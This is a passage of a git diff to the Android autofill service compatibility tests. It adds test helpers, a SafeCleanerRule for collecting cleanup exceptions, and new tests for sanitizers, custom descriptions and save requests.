- .setField(ID_L3C2, bogusValue) // from previous partition
- .setField(ID_L4C1, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
.build())
.addDataset(new CannedDataset.Builder()
.setAuthentication(auth42)
.setPresentation(createPresentation("P4D2"))
- .setField(ID_L1C1, bogusValue) // from previous partition
- .setField(ID_L1C2, bogusValue) // from previous partition
- .setField(ID_L2C1, bogusValue) // from previous partition
- .setField(ID_L2C2, bogusValue) // from previous partition
- .setField(ID_L3C1, bogusValue) // from previous partition
- .setField(ID_L3C2, bogusValue) // from previous partition
- .setField(ID_L1C1, bogusValue) // from previous partition
- .setField(ID_L4C1, bogusValue)
- .setField(ID_L4C2, bogusValue)
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+ .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+ .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
.build())
.build();
sReplier.addResponse(response4);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
index 5cdcf9b..1cb5942 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
@@ -29,10 +29,20 @@
static final String ID_PRE_LABEL = "preLabel";
static final String ID_PRE_INPUT = "preInput";
+ private static PreSimpleSaveActivity sInstance;
+
TextView mPreLabel;
EditText mPreInput;
Button mSubmit;
+ public static PreSimpleSaveActivity getInstance() {
+ return sInstance;
+ }
+
+ public PreSimpleSaveActivity() {
+ sInstance = this;
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -48,4 +58,22 @@
startActivity(new Intent(this, SimpleSaveActivity.class));
});
}
+
+ FillExpectation expectAutoFill(String input) {
+ final FillExpectation expectation = new FillExpectation(input);
+ mPreInput.addTextChangedListener(expectation.mInputWatcher);
+ return expectation;
+ }
+
+ final class FillExpectation {
+ private final OneTimeTextWatcher mInputWatcher;
+
+ private FillExpectation(String input) {
+ mInputWatcher = new OneTimeTextWatcher("input", mPreInput, input);
+ }
+
+ void assertAutoFilled() throws Exception {
+ mInputWatcher.assertAutoFilled();
+ }
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
index b193ddf..c8815c2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
@@ -15,6 +15,7 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
@@ -24,13 +25,23 @@
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static com.google.common.truth.Truth.assertThat;
+
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
import android.content.Intent;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject2;
import android.view.View;
+import android.widget.RemoteViews;
import org.junit.Rule;
+import java.util.regex.Pattern;
+
public class PreSimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
@Rule
@@ -330,4 +341,58 @@
final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
}
+
+ @Override
+ protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+ startActivity(false);
+ // Set service.
+ enableService();
+
+ final CustomDescription.Builder customDescription =
+ newCustomDescriptionBuilder(WelcomeActivity.class);
+ final RemoteViews update = newTemplate();
+ if (updateLinkView) {
+ update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+ } else {
+ update.setCharSequence(R.id.static_text, "setText", "ME!");
+ }
+ Validator validCondition = new RegexValidator(mActivity.mPreInput.getAutofillId(),
+ Pattern.compile(".*"));
+ customDescription.batchUpdate(validCondition,
+ new BatchUpdates.Builder().updateTemplate(update).build());
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(customDescription.build())
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Tap the link.
+ final UiObject2 saveUi;
+ if (updateLinkView) {
+ saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD, "TAP ME IF YOU CAN");
+ } else {
+ saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+ assertThat(changed.getText()).isEqualTo("ME!");
+ }
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
new file mode 100644
index 0000000..bceb11b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.Callable;
+
+/**
+ * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
+ * the cleanup code don't hide exception thrown by the test body
+ */
+// TODO: move to common CTS code
+public final class SafeCleanerRule implements TestRule {
+
+ private static final String TAG = "SafeCleanerRule";
+
+ private final List<Runnable> mCleaners = new ArrayList<>();
+ private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
+ private final List<Throwable> mThrowables = new ArrayList<>();
+
+ /**
+ * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
+ */
+ public SafeCleanerRule run(@NonNull Runnable cleaner) {
+ mCleaners.add(cleaner);
+ return this;
+ }
+
+ /**
+ * Adds exceptions directly.
+ *
+ * <p>Typically used when exceptions were caught asychronously during the test execution.
+ */
+ public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
+ mExtraThrowables.add(exceptions);
+ return this;
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ // First run the test
+ try {
+ base.evaluate();
+ } catch (Throwable t) {
+ Log.w(TAG, "Adding exception from main test");
+ mThrowables.add(t);
+ }
+
+ // Then the cleanup runners
+ for (Runnable runner : mCleaners) {
+ try {
+ runner.run();
+ } catch (Throwable t) {
+ Log.w(TAG, "Adding exception from cleaner");
+ mThrowables.add(t);
+ }
+ }
+
+ // And finally add the extra exceptions
+ for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
+ final List<Throwable> extraThrowables = extraThrowablesCallable.call();
+ if (extraThrowables != null) {
+ Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
+ mThrowables.addAll(extraThrowables);
+ }
+ }
+
+ // Finally, throw up!
+ if (mThrowables.isEmpty()) return;
+
+ final int numberExceptions = mThrowables.size();
+ if (numberExceptions == 1) {
+ throw mThrowables.get(0);
+ }
+ throw new MultipleExceptions(mThrowables);
+ }
+ };
+ }
+
+ private static String toMesssage(List<Throwable> throwables) {
+ String msg = "D'OH!";
+ try {
+ try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
+ sw.write("Caught " + throwables.size() + " exceptions\n");
+ for (int i = 0; i < throwables.size(); i++) {
+ sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
+ final Throwable exception = throwables.get(i);
+ exception.printStackTrace(pw);
+ sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
+ }
+ msg = sw.toString();
+ }
+ } catch (IOException e) {
+ // ignore close() errors - should not happen...
+ Log.e(TAG, "Exception closing StringWriter: " + e);
+ }
+ return msg;
+ }
+
+ // VisibleForTesting
+ static class MultipleExceptions extends AssertionError {
+ private final List<Throwable> mThrowables;
+
+ private MultipleExceptions(List<Throwable> throwables) {
+ super(toMesssage(throwables));
+
+ this.mThrowables = throwables;
+ }
+
+ List<Throwable> getThrowables() {
+ return mThrowables;
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
new file mode 100644
index 0000000..7fc021e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.expectThrows;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+import java.util.List;
+import java.util.concurrent.Callable;
+
+@RunWith(MockitoJUnitRunner.class)
+public class SafeCleanerRuleTest {
+
+ private static class FailureStatement extends Statement {
+ private final Throwable mThrowable;
+
+ FailureStatement(Throwable t) {
+ mThrowable = t;
+ }
+
+ @Override
+ public void evaluate() throws Throwable {
+ throw mThrowable;
+ }
+ }
+
+ private final Description mDescription = Description.createSuiteDescription("Whatever");
+ private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
+
+ // Use mocks for objects that don't throw any exception.
+ @Mock private Runnable mGoodGuyRunner1;
+ @Mock private Runnable mGoodGuyRunner2;
+ @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
+ @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
+ @Mock private Statement mGoodGuyStatement;
+
+ @Test
+ public void testEmptyRule_testPass() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule();
+ rule.apply(mGoodGuyStatement, mDescription).evaluate();
+ }
+
+ @Test
+ public void testEmptyRule_testFails() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule();
+ final Throwable actualException = expectThrows(RuntimeException.class,
+ () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+ assertThat(actualException).isSameAs(mRuntimeException);
+ }
+
+ @Test
+ public void testOnlyTestFails() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule()
+ .run(mGoodGuyRunner1)
+ .add(mGoodGuyExtraExceptions1);
+ final Throwable actualException = expectThrows(RuntimeException.class,
+ () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+ assertThat(actualException).isSameAs(mRuntimeException);
+ verify(mGoodGuyRunner1).run();
+ verify(mGoodGuyExtraExceptions1).call();
+ }
+
+ @Test
+ public void testTestPass_oneRunnerFails() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule()
+ .run(mGoodGuyRunner1)
+ .run(() -> { throw mRuntimeException; })
+ .run(mGoodGuyRunner2)
+ .add(mGoodGuyExtraExceptions1);
+ final Throwable actualException = expectThrows(RuntimeException.class,
+ () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+ assertThat(actualException).isSameAs(mRuntimeException);
+ verify(mGoodGuyRunner1).run();
+ verify(mGoodGuyRunner2).run();
+ verify(mGoodGuyExtraExceptions1).call();
+ }
+
+ @Test
+ public void testTestPass_oneExtraExceptionThrown() throws Throwable {
+ final SafeCleanerRule rule = new SafeCleanerRule()
+ .run(mGoodGuyRunner1)
+ .add(() -> { return ImmutableList.of(mRuntimeException); })
+ .add(mGoodGuyExtraExceptions1)
+ .run(mGoodGuyRunner2);
+ final Throwable actualException = expectThrows(RuntimeException.class,
+ () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+ assertThat(actualException).isSameAs(mRuntimeException);
+ verify(mGoodGuyRunner1).run();
+ verify(mGoodGuyRunner2).run();
+ verify(mGoodGuyExtraExceptions1).call();
+ }
+
+ @Test
+ public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
+ final Exception extra1 = new Exception("1");
+ final Exception extra2 = new Exception("2");
+ final Exception extra3 = new Exception("3");
+ final Error error1 = new Error("one");
+ final Error error2 = new Error("two");
+ final RuntimeException testException = new RuntimeException("TEST, Y U NO PASS?");
+ final SafeCleanerRule rule = new SafeCleanerRule()
+ .run(mGoodGuyRunner1)
+ .add(mGoodGuyExtraExceptions1)
+ .add(() -> { return ImmutableList.of(extra1, extra2); })
+ .run(() -> {
+ throw error1;
+ })
+ .run(mGoodGuyRunner2)
+ .add(() -> { return ImmutableList.of(extra3); })
+ .add(mGoodGuyExtraExceptions2)
+ .run(() -> { throw error2; });
+
+ final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
+ SafeCleanerRule.MultipleExceptions.class,
+ () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
+ assertThat(actualException.getThrowables())
+ .containsExactly(testException, error1, error2, extra1, extra2, extra3)
+ .inOrder();
+ verify(mGoodGuyRunner1).run();
+ verify(mGoodGuyRunner2).run();
+ verify(mGoodGuyExtraExceptions1).call();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
index 702e1b1..d34eda1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
@@ -16,8 +16,11 @@
package android.autofillservice.cts;
+import static org.mockito.Mockito.mock;
import static org.testng.Assert.assertThrows;
+import android.service.autofill.InternalSanitizer;
+import android.service.autofill.Sanitizer;
import android.service.autofill.SaveInfo;
import android.support.test.runner.AndroidJUnit4;
import android.view.autofill.AutofillId;
@@ -28,6 +31,9 @@
@RunWith(AndroidJUnit4.class)
public class SaveInfoTest {
+ private final AutofillId mId = new AutofillId(42);
+ private final InternalSanitizer mSanitizer = mock(InternalSanitizer.class);
+
@Test
public void testRequiredIdsBuilder_null() {
assertThrows(IllegalArgumentException.class,
@@ -56,14 +62,14 @@
@Test
public void testSetOptionalIds_null() {
final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
- new AutofillId[] { new AutofillId(42) });
+ new AutofillId[] { mId });
assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
}
@Test
public void testSetOptional_empty() {
final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
- new AutofillId[] { new AutofillId(42) });
+ new AutofillId[] { mId });
assertThrows(IllegalArgumentException.class,
() -> builder.setOptionalIds(new AutofillId[] {}));
}
@@ -71,8 +77,38 @@
@Test
public void testSetOptional_nullEntry() {
final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
- new AutofillId[] { new AutofillId(42) });
+ new AutofillId[] { mId });
assertThrows(IllegalArgumentException.class,
() -> builder.setOptionalIds(new AutofillId[] { null }));
}
+
+ @Test
+ public void testAddSanitizer_illegalArgs() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { mId });
+ // Null sanitizer
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(null, mId));
+ // Invalid sanitizer class
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(mock(Sanitizer.class), mId));
+ // Null ids
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(mSanitizer, (AutofillId[]) null));
+ // Empty ids
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(mSanitizer, new AutofillId[] {}));
+ // Repeated ids
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(mSanitizer, new AutofillId[] {mId, mId}));
+ }
+
+ @Test
+ public void testAddSanitizer_sameIdOnDifferentCalls() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { mId });
+ builder.addSanitizer(mSanitizer, mId);
+ assertThrows(IllegalArgumentException.class, () -> builder.addSanitizer(mSanitizer, mId));
+ }
+
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
index 0866b2d..cbb8523 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
@@ -16,6 +16,8 @@
package android.autofillservice.cts;
import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
@@ -25,19 +27,24 @@
*/
public class SimpleSaveActivity extends AbstractAutoFillActivity {
+ private static final String TAG = "SimpleSaveActivity";
+
static final String ID_LABEL = "label";
static final String ID_INPUT = "input";
static final String ID_PASSWORD = "password";
static final String ID_COMMIT = "commit";
static final String TEXT_LABEL = "Label:";
+ private static SimpleSaveActivity sInstance;
+
TextView mLabel;
EditText mInput;
EditText mPassword;
Button mCancel;
Button mCommit;
- private static SimpleSaveActivity sInstance;
+ private boolean mAutoCommit = true;
+ private boolean mClearFieldsOnSubmit = false;
public static SimpleSaveActivity getInstance() {
return sInstance;
@@ -60,7 +67,46 @@
mCommit = findViewById(R.id.commit);
mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
- mCommit.setOnClickListener((v) -> getAutofillManager().commit());
+ mCommit.setOnClickListener((v) -> onCommit());
+ }
+
+ private void onCommit() {
+ if (mClearFieldsOnSubmit) {
+ resetFields();
+ }
+ if (mAutoCommit) {
+ Log.d(TAG, "onCommit(): calling AFM.commit()");
+ getAutofillManager().commit();
+ } else {
+ Log.d(TAG, "onCommit(): NOT calling AFM.commit()");
+ }
+ }
+
+ private void resetFields() {
+ Log.d(TAG, "resetFields()");
+ mInput.setText("");
+ mPassword.setText("");
+ }
+
+ /**
+ * Defines whether the activity should automatically call {@link AutofillManager#commit()} when
+ * the commit button is tapped.
+ */
+ void setAutoCommit(boolean flag) {
+ mAutoCommit = flag;
+ }
+
+ /**
+ * Defines whether the activity should automatically clear its fields when submit is clicked.
+ */
+ void setClearFieldsOnSubmit(boolean flag) {
+ mClearFieldsOnSubmit = flag;
+ }
+
+ FillExpectation expectAutoFill(String input) {
+ final FillExpectation expectation = new FillExpectation(input, null);
+ mInput.addTextChangedListener(expectation.mInputWatcher);
+ return expectation;
}
FillExpectation expectAutoFill(String input, String password) {
@@ -76,12 +122,16 @@
private FillExpectation(String input, String password) {
mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
- mPasswordWatcher = new OneTimeTextWatcher("password", mPassword, password);
+ mPasswordWatcher = password == null
+ ? null
+ : new OneTimeTextWatcher("password", mPassword, password);
}
void assertAutoFilled() throws Exception {
mInputWatcher.assertAutoFilled();
- mPasswordWatcher.assertAutoFilled();
+ if (mPasswordWatcher != null) {
+ mPasswordWatcher.assertAutoFilled();
+ }
}
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index 9fb16a2..ed7e24c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -15,7 +15,10 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.AntiTrimmerTextWatcher.TRIMMER_PATTERN;
+import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextValue;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
@@ -26,18 +29,30 @@
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
import android.content.Intent;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.TextValueSanitizer;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject2;
import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
import org.junit.Rule;
import org.junit.Test;
+import java.util.regex.Pattern;
+
public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
@Rule
@@ -212,6 +227,37 @@
}
@Test
+ public void testSave_launchIntent() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.setOnSave(WelcomeActivity.createSender(mContext, "Saved by the bell"));
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ sReplier.getNextSaveRequest();
+ // ... and assert activity was launched
+ WelcomeActivity.assertShowing(sUiBot, "Saved by the bell");
+ }
+
+ @Test
public void testSaveThenStartNewSessionRightAway() throws Exception {
startActivity();
@@ -660,6 +706,64 @@
sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
}
+ @Test
+ public void testSelectedDatasetsAreSentOnSaveRequest() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ // Added on reversed order on purpose
+ .addDataset(new CannedDataset.Builder()
+ .setId("D2")
+ .setField(ID_INPUT, "id again")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("D2"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("D1")
+ .setField(ID_INPUT, "id")
+ .setPresentation(createPresentation("D1"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Select 1st dataset.
+ final FillExpectation autofillExpecation1 = mActivity.expectAutoFill("id");
+ final UiObject2 picker1 = sUiBot.assertDatasets("D2", "D1");
+ sUiBot.selectDataset(picker1, "D1");
+ autofillExpecation1.assertAutoFilled();
+
+ // Select 2nd dataset.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+ final FillExpectation autofillExpecation2 = mActivity.expectAutoFill("id again", "pass");
+ final UiObject2 picker2 = sUiBot.assertDatasets("D2");
+ sUiBot.selectDataset(picker2, "D2");
+ autofillExpecation2.assertAutoFilled();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("ID");
+ mActivity.mPassword.setText("PASS");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Save it...
+ sUiBot.saveForAutofill(saveUi, true);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+ assertThat(saveRequest.datasetIds).containsExactly("D1", "D2").inOrder();
+ }
+
@Override
protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
throws Exception {
@@ -717,4 +821,322 @@
assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
}
+
+ @Test
+ public void testSanitizeOnSaveWhenAppChangeValues() throws Exception {
+ startActivity();
+
+ // Set listeners that will change the saved value
+ new AntiTrimmerTextWatcher(mActivity.mInput);
+ new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId, passwordId)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("pass");
+ mActivity.mCommit.performClick();
+ });
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+ assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+ }
+
+ @Test
+ public void testSanitizeOnSaveNoChange() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setOptionalSavableIds(ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId, passwordId)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
